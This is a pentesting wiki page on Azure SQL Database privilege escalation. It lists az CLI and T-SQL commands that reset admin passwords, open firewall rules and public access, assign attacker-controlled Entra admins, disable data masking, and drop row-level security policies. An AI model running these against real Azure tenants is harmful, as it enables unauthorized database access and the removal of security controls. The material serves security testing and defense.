# Az - SQL Database Privesc

{{#include ../../../banners/hacktricks-training.md}}

## SQL Database Privesc

For more information about SQL Database check:

{{#ref}}
../az-services/az-sql.md
{{#endref}}

### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`

With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access.

```bash
# Change the server password
az sql server update \
  --name <server_name> \
  --resource-group <resource_group_name> \
  --admin-password <new_password>

# Create a new server
az sql server create \
  --name <new_server_name> \
  --resource-group <resource_group_name> \
  --location <location> \
  --admin-user <admin_username> \
  --admin-password <admin_passwor d>
```

Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it:

```bash
az sql server update \
  --name <server-name> \
  --resource-group <resource-group> \
  --enable-public-network true
```

Furthermore, with the permissions you can enalbe the assign identity, an opertate with the managed identity attached to the server. For example here with a managed identity that can access Azure Storage:

```bash
az sql server update \
  --name <server-name> \
  --resource-group <resource-group> \
    --assign_identity
```
```sql 
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
    TYPE = BLOB_STORAGE,
    LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
    CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
    BULK 'message.txt',
    DATA_SOURCE = 'ManagedIdentity',
    SINGLE_CLOB
) AS DataFile;
GO
```

### `Microsoft.Sql/servers/firewallRules/write`

An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources.

```bash
# Create Firewall Rule
az sql server firewall-rule create \
    --name <new-firewall-rule-name> \
    --server <server-name> \
    --resource-group <resource-group> \
    --start-ip-address <start-ip-address> \
    --end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
    --name <firewall-rule-name> \
    --server <server-name> \
    --resource-group <resource-group> \
    --start-ip-address <new-start-ip-address> \
    --end-ip-address <new-end-ip-address>
```

Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule.
NOTE: It is necesary to have the public access enabled

### `Microsoft.Sql/servers/ipv6FirewallRules/write`

With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access."

```bash
az sql server firewall-rule create \
  --server <server_name> \
  --resource-group <resource_group_name> \
  --name <rule_name> \
  --start-ip-address <start_ipv6_address> \
  --end-ip-address <end_ipv6_address>
```

Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule.
NOTE: It is necesary to have the public access enabled

### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`

With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server:

```bash
az sql server ad-admin create \
  --server <server_name> \
  --resource-group <resource_group_name> \
  --display-name <admin_display_name> \
  --object-id <azure_subscribtion_id>
```

### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`

With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication.

```bash
#Enable
az sql server azure-ad-only-auth enable \
  --server <server_name> \
  --resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
  --server <server_name> \
  --resource-group <resource_group_name>
```

### Microsoft.Sql/servers/databases/dataMaskingPolicies/write
Modify (or disable) the data masking policies on your SQL databases.

```bash
az rest --method put \
  --uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
  --body '{
    "properties": {
      "dataMaskingState": "Disable"
    }
  }'
```

### Remove Row Level Security
If you loggin as admin, you can remove the policies of the admin itself and other users.

```sql
DROP SECURITY POLICY [Name_of_policy];
```


{{#include ../../../banners/hacktricks-training.md}}



